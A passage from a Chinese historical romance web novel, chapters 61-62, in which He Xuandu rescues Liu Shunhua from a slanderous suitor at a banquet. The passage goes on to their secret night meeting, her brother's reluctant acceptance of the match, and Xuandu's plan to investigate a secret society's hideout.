柳舜华茫然无措,双腿不受控制,缓缓向贺玄度走去,不觉蹲下身,伸手去摸他的腿。 贺玄度浑身一颤,默默从怀中拿出帕子,轻轻地将她脸上的血迹擦干。 “对不起,蓁蓁,吓到你了。”他声音轻柔和缓,温暖无比。 一声“蓁蓁”,好似初日照在林间,穿透阴郁朦胧的雾气。 柳舜华浑身一松,眼泪滚滚而下。 泪水滴在雪白的衣襟上,贺玄度心疼得几乎要碎成一片片,去接住她委屈眼泪。 片刻,柳舜华缓缓擦干眼泪,静静地望着他。 她满肚子的话想问,问他为何突然回到长安,又如何突然出现在大长公主府,可一听到他温柔地安慰,她就觉得一切都不重要了,重要的是,此刻他就在她身边。 “贺玄度,你这个疯狗……我要你好看。”程嘉良忍着剧痛,不停咒骂。 柳舜华这才想起,身后还有个程嘉良。 程嘉良此前一声鬼哭狼嚎,早惊动了附近的宾客及守卫。远处人影晃动,不少人已经赶了过来。 看到有守卫过来,程嘉良骂道:“都愣着做什么,快,把我弄下来啊。” 贺玄度淡笑一声,“还有力气骂,看来,我还是射得太轻了。” 程嘉良已经止住了伤,被人扶着走出了竹林,“好啊,你们这对狗男女,等会姑丈来了,我看你……” 贺玄度冷眼扫过去,眸光闪过一丝狠戾,“程嘉良,若你再敢口出秽言,下次我射的,就是你的脑袋。” 要放狠话逞强,贺玄度随他。 可是他不该侮辱柳舜华。 柳舜华,是他此生的光,是他的尊严,是他的命。 贺玄度战场上拼杀,平日里不过刻意敛着,如今浑身的杀伐气像是脱离束缚的飓风,肆意狂扫而去。 程嘉良哪见过这阵势,一瞬间毛骨悚然,张开欲骂的嘴,生生闭上了。 紫竹林离男宾席近,很快,贺丞相等人便赶了过来。 柳桓安一眼瞧见水榭旁的柳舜华,见她眼眶泛红,立即意识到了什么,推开人群走过去。 “蓁蓁,你没事吧?” 柳舜华摇头,“兄长,已经没事了,多亏了贺二公子。” 柳桓安垂头看着轮椅上的贺玄度,愣了片刻,方想道谢,便听到一阵刺耳的吼叫。 “姑丈救我,贺玄度他要杀我。”程嘉良看到贺丞相过来,像看见救星一样扑过去。 丞相身后的贺玄晖从柳舜华身上收回目光,淡淡地望着程嘉良,眼底闪过一丝鄙夷。 贺丞相扫了一眼贺玄度,问:“怎么回事?” 程嘉良指着肩上的箭伤,“姑丈你看,贺玄度他要杀我,若是守卫们再慢一点,我就要见不到姑姑了。” 宾客满园,此刻都挤在这里看热闹。 贺丞相脸上无光,对着贺玄度怒道:“孽障,一回来便到处生事,看我不……” “打断我的腿是吧?”贺玄度拍了拍衣襟,“不劳父亲大人动手,已经断了。” 一句话噎得贺丞相愣在原地,浑身颤抖。 程嘉良继续火上浇油,“姑丈,他们伤人在先,不能就这么放过他们。若是任由他们离开,以后朝堂之上如何让人信服。” 贺玄晖及时打断他,“休得胡言,不过几句争执,误伤而已。” 他本想大事化小,可程嘉良被射一箭,哪肯善罢甘休,“根本不是误伤,我与柳大小姐郎情妾意的,正在竹林幽会,他看不惯,便用箭射我。” 听他说到自家妹妹,柳桓安当即呵道:“程嘉良,闭上你的臭嘴,若你敢胡乱攀咬,我豁出这条命也要奉陪到底。” 柳桓安一向清正儒雅,颇有君子风范,即便是朝堂争论,也都不疾不徐,鲜少见他如此疾言厉色。 贺丞相也觉得此事太有损颜面,看向柳桓安,“此事恐有误会,一时半会也说不清楚,不如……” “贺丞相,此事事关我妹妹清誉,还是就此解决的好。”柳桓安果断拒绝。 若是其他事,他可以忍,可以让,但是欺负他妹妹,就是不行。 程嘉良见柳桓安驳了贺丞相的面子,冷笑一声,从怀中掏出一方帕子。 “柳大公子不妨瞧瞧,这是谁的东西?是你妹妹约的我。” 柳桓安定眼一看,帕子下角一朵海棠花,的确是棠华绣的。 柳舜华冷哼一声,“程公子这是要胡乱攀咬了吗,一个帕子便想毁我名声?分明是我今日进园,不慎丢了帕子,来此寻找却被你撞见。你欲行不轨,被贺二公子撞见,贺二公子多次警告你无用,这才失手将你射伤。” 程嘉良嚷道:“你胡说,分明是你以帕子为信,约的我。见被贺玄度撞破,不知怎的又同他勾搭上了。” “住口!” 三个声音同时响起。 程嘉良瞧着贺玄度、贺玄晖还有柳桓安,一时不知该看谁。 柳舜华斥道:“以程公子所言,若是丢了随身携带之物,被别有用心之人捡去,便可拿着它大做文章。那他日程公子丢了官印,被有心人捡去,是不是便可以取而代之了?” 程嘉良:“你胡搅蛮缠,这帕子分明就是你的,你说是丢的,谁能做证?” “我能做证。”有声音从水榭处传来。 众人抬眼望去,只见衣香云鬓冉冉而来,却是刘妉柔。 刘妉柔站在柳舜华跟前,“我替她做证,帕子是她丢的。” 程嘉良一愣,“怎么可能,这帕子分明就是一个小宫女交给我的。” 刘妉柔轻哼一声,“程公子的意思是,我撒谎了?” 程嘉良看着两人,像是突然想明白了什么,“是你们串通好的,你们串通好了来陷害我。” 刘妉柔冷声道:“你行为不端,有目共睹,还需要我们陷害,真是可笑。” 程嘉良犹想狡辩,贺玄晖抢先一步,淡声道:“错了便是错了,此前祖母大寿,表哥醉酒之时便欲对柳小姐行不轨之事,当时大姐与府内侍卫皆是见证。” 柳舜华一愣,贺玄晖竟替她说话。 转念一想,如今程嘉良无赖之举已是不争的事实,他此时站出来,倒是可以借机博一个公正贤良的美名。 贺丞相转头看了一眼贺玄晖,朝着众人道:“程嘉良行为不端,即日起,贺家与他断绝关联,还请诸位做个见证。” 说罢,对着柳桓安道:“此事柳小姐无辜受累,理应讨回公道,要杀要罚,全凭柳大人做主。” 大长公主驸马冷眼旁观多时,见贺丞相已做了抉择,这才上前道:“此事已水落石出,诸位请回席间,咱们接着奏乐赏舞。” 围观的宾客纷纷散去,程嘉良见贺丞相要走,挣扎着上前,却被守卫牢牢按住。 柳桓安扫了他一眼,“带下去,交给京兆府处置。” 众人散尽,水榭内只余柳家兄妹,贺玄度与刘妉柔。 柳桓安转身,深深看了刘妉柔一眼,躬身道:“多谢郡主仗义执言。” 刘妉柔不知怎的,愣了好一会,叹道:“柳大人何必假客气,今日之事……” 她没再说下去,咬了下嘴唇,对着柳舜华道:“柳小姐是聪明人,迟早会知晓。今日之事,因我而起,方才柳小姐未道破,是我欠你一个人情。” 柳舜华早猜到是有人刻意陷害,稍一回想,方才席间她手帕一直在袖口,根本不可能掉落。 唯一有可能的便是撞向她的那个小姐,那小姐她虽不认识,却知晓她是坐在刘妉柔这边的。 刘妉柔,前世绕不开的名字。 可今生于她而言,不过是一个再普通不过的陌生人。 方才席间,刘妉柔看她并没有什么恶意,此刻又替她做证,柳舜华不想与刘妉柔结仇。 于是道:“我猜郡主并非有意,否则也不会急着赶来。今日之事,就此过了吧。” 刘妉柔微微点头,看了看柳舜华,又扫过柳桓安,“告辞。” 刘妉柔一走,只余下三人。 柳舜华自有千言万语要说,可碍于兄长在旁,只能偷偷瞥了贺玄度一眼。 柳桓安将柳舜华的小动作尽收眼底,转向贺玄度,“贺二公子,可要帮忙?” 贺玄度摇头,笑道:“不劳柳大人费心,我的人在附近,马上便到。” 柳桓安实在不想妹妹与贺家的人扯在一起,当即拉过柳舜华,“既如此,我们便先行一步了。” 柳舜华无奈,只得由着兄长拉她离开。 待过了水榭,转弯时,她回头余光一瞥,只见贺玄度依旧坐在那里。 孤孤单单的,像是一只离群的孤鹤,照水自伤。 回到柳府,因柳棠华病着未起,饭桌上少了许多乐趣,匆匆用过晚膳,柳舜华便回房歇息。 明月东升,星稀云淡,秋夜已渐有凉意。 树影晃动,一只孤鸟扑棱棱地越过枝头,落在窗边。 柳舜华正坐在窗前,看着离群的孤鸟,一瞬间,涌上一个疯狂的念头,她要见贺玄度,就此刻。 像是被一股无形的力量驱使着,柳舜华不管不顾,跑到院中,搬起花梯架在墙上,一步步爬了上去。 已是晚间,贺玄度此刻应 在相府,她即便出了这高墙,又能如何? 可此刻,她顾不上这许多,只知道向上爬,仿佛每向上一下,便离贺玄更近一步。 终于,到了墙头。 她才露出头,墙外一个黑影猛地探出来。 柳舜华大骇,张口便想喊叫,却在看清来人后,愣住了。 新月初上,风过无声,杏树枝头摇曳。 四目相对,两人眼神再容不下其他。【你现在阅读的是 】 60-70 第61章 第61章我让了十几年,如今,想…… 周松见贺玄度趴在墙头一动不动,低声询问:“公子,公子,怎么样了,是不是爬不动了?” 旖旎的夜色被打破,贺玄度咬牙瞪向扶着梯子的周松。 柳舜华看着墙头上尴尬的贺玄度,忍不住笑出声来。 她扒开枝叶,朝下一望,“周松,真是没想到,你也跟着来了。” 周松看到墙内的柳舜华,先是一愣,不好意思地摸着头,“柳小姐,许久不见了。” 墙头上,两人对望一眼,同声问道:“你怎么在这?” 话一问出,两人相视傻笑。 周松在下面提醒道:“要不然,你们下来谈?” 贺玄度从墙头上下来,坐回轮椅上的时候,柳舜华也跟着爬了下来。 周松十分识趣道:“我去前面帮你们把风。” 树影晃动,巷子内静悄悄的,月色下更添几分朦胧暧昧。 柳舜华本不觉有什么,可仔细一琢磨周松的话,突然有种偷偷摸摸,做贼心虚的感觉。 她咳了一声,轻声问:“你怎么会在这?” 贺玄度仰头道:“你今日也太狠心了,头也不回便走。我实在想见你,就想着,哪怕见不到你,便是趴在墙头,看看你映在窗边的影子也好。” 月色下,他双眸沾染几分水气,愈显澄净无辜,冷玉般的脸庞平添一分柔和,墨发松松散在肩头,整个人脆弱中又带着说不尽的诱惑。 柳舜华心都要化了,她蹲下身,耐心解释,“今日那种场景,我有些乱。而且兄长在旁,他还不知晓咱们的关系,我怕贸然提起,他一时难以接受。贺玄度,对不起,我忽略了你的感受。” 贺玄度伸手在她脑袋上一指,笑道:“你啊,还是这么好骗,我逗你的。” 柳舜华趁机握住他的手,“那,你不生气了?” 贺玄度摇头,“我没有生气,不然也不至于巴巴地跑来看你。” 说罢,他看向墙内的梯子,笑道:“倒是你,大半夜的,爬墙做什么?” 柳舜华松开他的手,头扭向一边,“我赏月。” 贺玄度笑,“那你赏月的方式,挺特别。” 柳舜华不语,低头看着他受伤的腿,轻声问:“还疼吗?” 贺玄度若无其事道:“不疼,早就不疼了。” 柳舜华叹了一口气,“虽说不疼了,到底养伤要紧,你怎么好端端的,就这么回来了?” 贺玄度拉着她的手,“你放心,范神医已经替我接了骨,没事了。” 柳舜华张了张嘴,到底没有开口。 她不敢问,他的腿是否能恢复。 她握紧他的手,“你既已回来,为何不找我?你知不知道,我很担心你。” 贺玄度仰头笑道:“谁说我没去找你,我一回来不就去大长公主府寻你了。” 柳舜华一愣,贺玄度是今日回的长安。 她想起今日贺玄度落寞地等在水榭旁,心狠狠一抽。 他一路奔波,千里迢迢回来,没有回相府,而是赶去大长公主府见她。 两月未见,他满怀期待,结果却碰到紫竹林那一幕。 难怪他疯了一般,全然不计后果,一箭射向程嘉良。 想到此处,柳舜华鼻尖酸楚,“贺玄度,你其实,不必这么急着去寻我,我一直都在。” 贺玄度轻笑,将她的手放在胸口,“我能等,可我的心,等不了。” 柳舜华脸上一红,拍着他的手,“又在胡说。” 想到程嘉良,她犹有些担忧,“虽说今日相府为了保全颜面,当众宣布与程嘉良不再有任何干系,但他毕竟是丞相夫人的侄子。他今日吃了这么大一个亏,难保日后不会存心报复。你……” 她想说,他如今行动不便,可到嘴的话生生咽了回去。 贺玄度断了一双腿,今日方归,可大长公主宴席之上,贺丞相却不曾有一句关心的话。事后,又独留他一人而去。他如今归来养伤,在丞相府又如何能好过呢? 贺玄度轻声笑道:“你说程嘉良啊,放心吧,他掀不起什么浪了。” 柳舜华看他如此云淡风轻,问:“为什么?” 依贺家在朝堂的影响,丞相夫人的行事,京兆尹定不敢动他,顶多让他受几日牢狱之灾。 贺玄度:“因为,他的腿也断了。” “怎么会,今日他走的时候还好好的?” 柳舜华一愕,看向贺玄度,“是……你做的?” 贺玄度嘴角带着一抹莫名的笑,“当然是他自己摔的。今日傍晚,京兆尹奉命审完他,狱卒带他回牢房途中,因灯光昏暗,石路湿滑,他自己不慎摔在假山之上,腿就这么断了。” 柳舜华狐疑地看着他,“你怎么知道得这么清楚?” “周松碰巧去了一趟京兆尹府,看到了。” 贺玄度说完,看着柳舜华的脸色,知晓她已看了出来,也不再瞒着她,试探道:“你,怕了?” 程嘉良是什么样的人,柳舜华再清楚不过。 上辈子,贺丞相在朝堂有多稳,他便有多嚣张。强娶民女之事,层出不穷,不知有多少良家女子被他磋磨,他这样的人,活在世间不过是颗毒瘤。 柳舜华摇头,隐隐担忧,“程嘉良是活该,可你此刻动手,就不怕丞相起疑?” 贺玄度抬眼道:“以前,在他眼里,我是个纨绔。今后,在他眼里,我恐怕就是个无能的疯子了。” 柳舜华胸中憋闷,长舒了一口气,“贺玄度,咱们离开长安吧,走得远远的,好不好?” 夜色中,贺玄度身躯微微一颤。 许久,他垂下头,“蓁蓁,对不起,眼下,我还不能走。” 柳舜华眸光黯淡下来,贺玄度不肯跟她走。 她有些失落,转身站了起来。 还未站稳,便觉一阵目眩,贺玄度抓住她的手,稍一用力,将她扯入了自己怀中。 他将她紧紧圈住,“我只说眼下不行,又不是说以后不行。你答应要等我的,你不能跑。” 柳舜华急得胡乱拍他,“你做什么,快松开。你的腿,你的腿还要不要了?” 他的腿伤还未痊愈,怎么能如此胡闹。 贺玄度耍赖,“不松,我怕松了你就跑了。比起惹你伤心,这条腿算什么。” 他抱得太紧,柳舜华怕乱动会碰到他的伤处,只能任由他抱着。 贺玄度起初不过是想逗她,可软玉入怀,带着独有的荷香幽幽地飘散在他鼻尖,浑身血液不受控制地沸腾起来。 两人彼此紧贴着,贺玄度温热的薄唇贴着她的耳尖,略带着潮湿的气息让她微微发痒。 柳舜华微微抬头,落在他已有些迷离的双眸之上,缓缓伸手,将他的眼遮住。 贺玄度心下一动,闭着眼睛,朝她吻去。 头还未靠近,突觉腿上一轻,柳舜华趁机站了起来。 她退后一步,捂嘴笑道:“就会胡乱来,还是好好照顾着你的腿吧。” 贺玄度略微有些失望,苦笑一声,“遵命。” 柳舜华站定,突然想起了一桩事,“你怕是还不知,我与贺玄晖结亲之事,已经解决 了。” 贺玄度得意一笑,“我当然知道,此事若是深究,怕是少不了我的功劳。” 自凉州归来,她去了许多信,贺玄度都回复寥寥,她以为他只是在养伤,无暇顾及长安这边的情况。原来,他都知道。 柳舜华仔细想了想,“你在凉州摔伤腿的消息,是你让人传的?” 贺玄度点头,“二儿子摔断了腿,相府却忙着张罗大儿子婚事,这种厚此薄彼的行径,我父亲是断然不会做的。再加上祖母那边施压,他头疼都来不及,哪还有闲心继续谈结亲之事。” 柳舜华想到老夫人,这些时日,她明知她病着,却无法前去探望,一时着急,脱口道:“祖母她现今如何了?” 贺玄度一愕,嘴角勾起一丝轻笑,“你放心,祖母她很好,只是为了配合我演戏罢了。” 柳舜华放下心来,一垂眸瞧见贺玄度看着他,笑得暧昧,顿时反应了过来。 前世她与老夫人祖孙情深,叫得顺了口,方才一时情急,就这么毫无遮拦地叫了出来。 她忙解释道:“不是,我只是一时情急,顺着你便叫了。” 贺玄度露出一个“我懂”的眼神,继而道:“蓁蓁,今日与祖母讲明你我之事时,方知你与祖母的缘分。祖母她,很喜欢你。她还说,她早有此意。你觉不觉得,咱们这是上天注定的缘分。” 柳舜华浑身一僵,贺玄度说,祖母早有此意。 前世祖母离世前的话,惊雷般炸开: “蓁蓁啊,我从见你第一面就喜欢你,总想着你给我做孙媳,可天意弄人啊。” “你们有缘无分,终究错过了。” “我可怜的孙儿,是他没这个福气啊!” …… 当时她只以为老夫人病得糊涂了,却不知,她说的都是心里话。 老夫人最初想撮合的,是她与贺玄度。 她怎么就瞎了眼,看上了贺玄晖,白白错过了贺玄度? 两世的委屈与辛酸瞬间涌上心头,她再也忍不住,蹲下身趴在贺玄度腿边,肆意地哭了出来。 贺玄度急得手足无措,伸手去拉她,“怎么了,怎么好端端地哭了,是不是我又说错了话?你打我骂我都行,别哭啊。” 柳舜华却死命拽住他的轮椅,“贺玄度,这辈子,我都不会再轻易松开你。” 回到丞相府,夜已深沉。 周松推着贺玄度从侧门进了院,才推开门,便见院中立着一个人。 贺玄度看着月色下神情凝重的贺玄晖,对着周松道:“你累了一日,先去歇息吧。” 贺玄晖上前,将贺玄度推至石桌前,就势坐了下来。 贺玄度漫不经心道:“不知兄长在此等我,所谓何事?” 贺玄晖看着他,缓缓道:“断腿之事,是你差人传扬的吧?” 贺玄度一笑:“我这人就是喜欢张扬,好事也好,坏事也罢,越多人关注便越觉得有趣。” 贺玄晖沉默许久,又问:“那你为何不将你受伤的原因一并传了出去?” 贺玄度微微一挑眉,“兄长觉得呢?” 风吹过,一片枯叶晃悠悠地飘落在石桌上。 贺玄晖伸手将落叶拂去,“只要你的腿一日不好,我便要日日夜夜记得你的人情。二弟,你是这么想的吧?” 贺玄度:“那兄长可承愚弟这个情?” 贺玄晖薄唇一抿,“有些情可以承,有些却不能。比如,一些人生大事,我便不想承。” 从小到大,他们两兄弟虽关系疏离,却又总是暗中较劲,贺玄度了解贺玄晖,明白他话里的暗示。 他似乎是,看上了柳舜华。 他不知道,他是何时对柳舜华起了心思。不过,他的蓁蓁,是这世间最好的女子,被任何人喜欢上,都是一件再平常不过之事。 他知道,他要解决的还会很多。 今日,就从贺玄晖开始吧。 贺玄度长指落在石桌上,轻轻叩着,一下下响在沉寂的秋夜。 他道:“兄长,我让了十几年。如今,我想争一争。” 第62章 第62章好事将近 一夜好梦,柳舜华许久未曾睡得如此安稳。 珠帘晃动,芳草哼了一声走进来。 柳舜华听到声音,迷迷糊糊醒来,“一大早的,谁惹着你了?” 芳草朝着西厢房努努嘴,“孙姨娘过来了,又在那骂二小姐。” 柳舜华从床上爬起来,赶紧穿了衣裳过去。 她走到门口,正欲敲门,便听到孙姨娘压着嗓子在骂。 “原本说好一起去大长公主府赴宴,你早不病,晚不病,偏偏这个时候病,风头又都让她一个人出了。” 柳舜华敲门的手停在半空,她若此时进去,势必会让大家难堪。 却听柳棠华嘟囔着:“病不病的,也由不得我。我病了,母亲一句安慰都没有,反有闲心抱怨姐姐。” 孙姨娘指着柳棠华的脑袋:“你翅膀硬了是吧,跟着她出去一趟,都学会顶嘴了。就你这个呆脑子,哪天被她卖了都不知道。” 柳棠华回嘴道:“姐姐疼我,就算卖了我,也是为我好。” 芳草听得要笑出来,不愧是二小姐。 孙姨娘揪起柳棠华的耳朵,“你这个不争气的东西,就知道气我。” 柳棠华叫了两声疼,孙姨娘才放开。 “若说以前,你们也没什么差。一样的不懂规矩,娇惯得不成样子,像个乡野丫头,没个体统,出去也只会丢人现眼。可她就懂得藏拙,然后突然有天就脱胎换骨,不但能说会道,还凭一手好字,在长陵侯府宴会上大放光彩,出尽风头。又是在相府寿宴上被丞相夫人看重,亲自差人上门求娶。你说,你怎么就没这好命呢?” 她依旧絮絮叨叨:“你兄弟还小,又在外面读书,没有个帮衬,怎么你就不知道学着点,私下多努力呢?我真是白生你了,净给我添堵。” 柳舜华实在听不下去,敲门走了进来,“芊芊,病好些了吗?” 孙姨娘看柳舜华进来,忙尴尬起身,“蓁蓁来了啊,那你们姐妹先说着,姨娘还有事,先走了。” 等孙姨娘走远,柳棠华才道:“姐姐方才都听到了吧,我娘她不是故意的。她就是嘴碎一点,没什么坏心的,是我太没用了。” 孙姨娘的性子她当然知道,一向分不清轻重,说话没个分寸,耳根子又软,别人几句好话便将她哄得服服帖帖。怕是昨日又受了挑唆,这才愤愤不平。 她总骂棠华不争气,却不去想,这些年她辛苦操持家中事务,为何扶正之事,爹爹从未提过。 柳舜华见她受了委屈,犹想着替她那拎不清的母亲说话,一时心疼不已。 她总想着,让棠华避开刘九生,过着平平淡淡的生活。就像曾经,她坚定,此生再不入相府,去面对那些乌糟事一样。 可如今呢,贺玄度有非留下不可的理由,必须留在相府一段时间。 只要她继续同贺玄度在一起,就不得不重新过回以往的生活。 这世间许多事,好像都一样,兜兜转转,又回到命运安排的轨道。 就像棠华此生,就算真的避开了刘九生,是否又能过得顺遂无虞呢? 柳舜华握住柳棠华的手,“芊芊,不要管你娘怎么说,你是这个世间最好姑娘,便是皇后都做得,没有什么是配不上的。” 柳棠华扑哧一声笑了出来,“姐姐你也太会安慰人了,连这种话都说得出口。” 柳舜华替她拢好散落的碎发,盯着她发呆。 柳棠华笑道:“姐姐这是怎么了?” 柳舜华收回目光,垂眸道:“我最近总是在想一个问题,若是能和你喜欢的人一起,但从此会被束缚起来,隐了自己的性情,你还可还愿?” 柳棠华眼睛眨了眨,“姐姐,你说人生在世,有几个能全照着自己心意活着的。就拿贺二公子说吧,没去凉州前,我一直以为他就是个金玉其外,败絮其中的纨绔,可接触下来才发现,他 人虽然张扬了点,但随和心善,还有担当。他倒是随心所欲地活着了,可却被世人误解轻视。” “再说姐姐,此前你何尝不是一样爱玩爱闹的跳脱性子,可这些日子,为了配合柳家高升,人前人后,不得不拿出大家闺秀的做派,妥帖得让人挑不出半点理。” 她看着柳舜华,“所谓鱼与熊掌,不可得兼,能随心所欲做自己,自是心中所愿,可今世之事总有取舍,不过择其一罢了。” 柳舜华细细品味柳棠华的话,没想到她竟有如此见地。 她突然记得小时候,兄长教她们读书之时,她总是心不在焉,而棠华每次都坐得板板正正,听得认认真真。课后,她跑去玩弄花草,棠华则赖在兄长书房不肯出来。 这些年,她一味护着棠华,以为她过得无忧无虑。孙姨娘总是妄加斥责,致使她看起来畏畏缩缩。可棠华却在她们都看不到的角落,悄悄长大了。 她惊诧于柳棠华的变化,恍惚又看到那个高坐凤台的皇后娘娘。 柳棠华不知她心中所想,笑问道:“姐姐今日瞧着心情不错,还突然问这些,可是贺二公子回信了。” 柳舜华收起思绪,垂头一笑,“不是回信,贺玄度他回来了。” 柳棠华大喜,“真的,那可太好了。” 柳舜华笑道:“他回来,你怎么这么高兴?” 柳棠华意味深长地看着她,“姐夫回来,姐姐就开心,姐姐开心,我可不就开心了。” 柳舜华捂住她的嘴,“你别又胡乱说,小心爹听到。” 两人嬉闹一阵,柳棠华突然想到一个问题,“姐姐你都要定亲了,兄长却还是没有定亲。你说,兄长到底是怎么想的?” 柳舜华点头,棠华的话倒是提醒了她,兄长未定亲,她却抢了先,只怕父亲又要催促兄长,倒是要寻个时机,好好与兄长聊聊。 黄昏时分,柳舜华端了一碗熬好的养生茶,去了柳桓安书房。 书房的门半掩着,柳桓安手里拿着一张纸,看得入神。 “兄长又在忧心什么呢?” 柳桓安看柳舜华进来,忙将手中的东西塞到书案上,“今日怎么有这份心过来献殷勤。” 柳舜华笑道:“兄长这些时日操劳,妹妹可不得关心一下咱们为民请命的柳大御史。” 柳桓安接过杯盏,饮了几口,缓缓放下,看着柳舜华,“蓁蓁,昨日大长公主之事,是兄长疏忽,才致你……” 柳舜华忙打断他,“兄长,是那程嘉良用心不纯,怎能怪你呢。” 说到程嘉良,柳桓安这才道:“今日京兆尹那边上报,说他昨日无缘无故摔断了腿。” 柳舜华冷哼一声,“那不正好,省得他再出去祸害人。” 柳桓安眉头微微皱起,“可我总觉得,这事情也太凑巧了些。” 柳舜华知晓兄长一贯注重律法,忙凑上前,眨着眼道:“当然不是凑巧了,这叫老天有眼,没叫那祸害遗千年。” 柳桓安笑了笑,“算了,不说他了。说说吧,什么事?” 柳舜华:“兄长慧眼如炬,果然什么都逃不过你。” 她缓缓从怀中掏出一封信,扭扭捏捏递给柳桓安。 柳桓安接过一看,“凉州来的,外祖给的,你怎么现下才拿出来。” 待认真看完,柳桓安阴沉着一张脸,“你们,是什么时候开始的?” 柳舜华忙上去殷勤地捶着他的背,“兄长,你能好好听我说吗,你这个样子,我有点怕。” 柳桓安恨不得将她的头敲烂,“你还知道怕?我费尽心机,好不容易才将你与贺玄晖之事解决,你转头,你……” 柳舜华忙又倒了一杯茶递过去,“兄长,信你也看了,外祖都同意了的。你知道外祖看人一向很准的,他老人家都赞同,可见贺玄度的人品不是传闻中那般。” 柳桓安沉默片刻,“外祖的话,我自然不疑。昨日,他不顾一切将你从程嘉良手中救下,我便知他即便再纨绔,总归心术是正的。可是蓁蓁,相府不是什么好地方,世间男子千千万,咱们为何非要在他们两兄弟中选呢?” 柳舜华眉间微蹙,握紧手中的帕子,“兄长,我从未想过选别人,我在意的,只有贺玄度一人。” 柳桓安耐着性子劝道:“蓁蓁,贺玄度不是良配。” 柳舜华看着柳桓安,“那依兄长之见,什么才是良配?若门当户对,相敬如宾是良配的话,兄长又为何至今未娶?” 柳桓安怔愣片刻,沉默下来,许久才缓缓问:“你这辈子,就认定贺玄度了是吗?” 柳舜华点头,“非他不嫁。” 柳桓安闭上眼,缓缓叹了口气,“蓁蓁,若要嫁给他,你可知要面对什么?相府看重贺玄晖,前脚才商讨婚事被拒,后脚你便与贺玄度在一起,这无异于在打贺丞相的脸。即便我与爹爹同意,你以为,你能这么轻松嫁进相府吗?退一万步讲,若你真嫁进相府,上有不受待见的公婆,下有不安分的小姑,你日日与这些人周旋,不会觉得累吗?” 柳舜华何尝没想过这些,上辈子的记忆如此深刻,她又怎么能忘。 只是,诚如棠华方才所言,人活一世,总要做出取舍。 她选了她看重的,就必须承担这些。 柳舜华微垂着头,“兄长放心,相府那边有老夫人帮忙,应是不成问题。至于婚后,待贺玄度这边事情处理好,我们会一起回凉州,远离长安这些是是非非。” 她想过,世人皆知,贺玄晖将来会接管贺家,所以即便嫁给贺玄度,柳家与相府未必绑在一起。待婚后他们远走高飞,带着棠华一起离开,便与相府彻底脱离干系。 即便日后相府果真造反,若是成功,自是随他们去。贺丞相与贺玄晖人品一脉相承,虽是无情又虚伪,但爱才之心尚在,没有她与棠华这层关系在,定不会为难兄长;若是失败,贺玄度远在凉州,与相府不睦已久,从未受过重视,再加上与刘九生之间的旧情,他未必会追究。 至于刘九生,上辈子他为了贺容暄,将棠华这个发妻抛诸脑后,这辈子若早早娶了贺容暄,保不准与她举案齐眉,相府倒是没必要再造反。 贺玄度如今已经断了腿,她实在无暇顾及其他。 柳桓安眉头一动,“贺玄度,他愿意同你一起离开长安?” 柳舜华点头,“是的,昨日我们一同商议过。” 柳桓安脸色又沉了几分,“昨日?什么时候?” 柳舜华一愣,忙改口,“不是,是之前,之前,我一时口误。” 柳桓安想了想,昨日回来已是黄昏,舜华又早早回房,贺玄度拖着个断腿,总不能爬墙吧。 于是脸色稍缓,“贺玄度这个人,虽有些不着调,可这些年只听说那程嘉良欺男霸女,并未传出过他什么劣迹,只是不太上进,太招摇了些。我虽不喜他为人,可有外祖作保,加之为兄此前说过,若是你有心仪之人,不管是何人,都不会横加阻拦,所以,只要他以后安安分分的,肯听你的话,倒也勉强。” 柳舜华连连点头,“听话,听话,他很听话的。” 柳桓安想了想,还是有些不放心,“他那个腿,还能不能好?” 这个,柳舜华一时拿不准,只道:“神医说了,他的腿救治及时,恢复得极好。等回到凉州,好好休养,也不是没有站起来的可能。不过倒也无妨,他这些年积攒了不少积蓄,凉州那边又有万都尉帮衬着,生活倒是不成问题。” 柳桓安看着柳舜华,欲言又止,最后摇摇头,“罢了罢了,你的意思,我已知晓。你们都已安排得明明白白,我也没什么可阻拦的,爹那边,我会抽个时间好好同他谈。” 见柳舜华吞吞吐吐,柳桓安用力在她额头一点,一副恨铁不成钢的样子,“你不会是想让我现下就去找爹谈吧?柳舜华,你女儿家的能不能矜持一点,这么急不可耐。” 柳舜华捂住额头,“当然不是,我方 才是在想兄长之事。若我要定亲,那父亲难免又要催促兄长。” 柳桓安脸色一黯,“你倒是想得周到。” 柳舜华大着胆子,玩笑道:“兄长此前说,你命中无缘,可见是有过缘分的。到底是什么样的女子,兄长不妨说说。你帮了我,说出来,我也好帮帮你啊。” 柳桓安桌下的手一紧,垂下眼睛,“蓁蓁,朝堂公事繁忙,我有些累了,你且回去歇着吧。” 柳舜华见兄长兴致缺缺,只得退了出去。 书房门阖上,最后一丝天光被阻在门外,室内一片黯淡。 …… 临河茶楼。 贺玄度斜靠在椅背上,“这个椅子不太舒服,还是我的轮椅更好些。” :. 刘九生翻了个白眼,“既然你的轮椅好,那为何还要医治你的断腿呢?” 贺玄度点头称赞,“还得是要多同你说说话,旁人都竭力避开什么断腿啊,轮椅的,还是你敢。” 刘九生推了一盏茶过去,“你就别装了,腿都接好了,还在那装。还有,你这腿想要完全恢复,至少要一年半载的,不好好在凉州养伤,跑回来做什么?就不怕伤养不好,这腿真的断了?” 贺玄度摸着额头,“总是在凉州,有些不放心长安这边的局势。” 刘九生轻嗤一声,“是放不下柳大小姐吧,我可都听说了,你昨日动静倒是不小,听说那程嘉良腿都断了。” 贺玄度笑了笑,身子往前倾了倾,“你还别说,这断腿倒是为我提供了不少方便。眼下相府到处都在传,说贺二公子成了个废物,疯了。” 刘九生点头,“托你断腿的福,如今出行阵仗这么大,你看看下面,舅舅出动了多少暗卫守着你。” 贺玄度摸着腿道:“断腿后第一次出行,舅舅难免紧张,习惯了就好。虽是麻烦了点,不过确能掩人耳目。” 刘九生慢悠悠地饮了一杯茶,“的确如此,这还是第一次如此悠闲地与你在长安城会面。” 贺玄度从怀中掏出一张纸,“你看看,这是郑列交代的,长安城中千机阁的一些据点,其中一个,我觉得很值得一查。” 刘九生接过,抬眸道:“千陶馆。” 贺玄度点头,“此前千机阁之人配合郑列攻打都尉府,有个叫刑风的首领逃了。暗卫顺着他的行踪,一路追到长安失了音讯。我怀疑,他就藏在千陶馆。” 刘九生为难,“这种场合,以往都是你去的。” 贺玄度拍着受伤的腿,“我都这样了,你觉得我去合适吗?” 刘九生:“我一穷鬼,我去你觉得合适吗?” 贺玄度:“你不求上进,偶尔去一次怎么了?” 刘九生:“你还纨绔呢,腿断了而已,又不是不行了,怎么就去不得呢?” 贺玄度指着刘九生,“你别再打我主意啊,我可是马上就要有未婚妻的人了,要注意影响。而且,那个刑风是见过我的。” 刘九生想了想,“那我也是有心上人的人,不能这么不清不白的,对吧?” 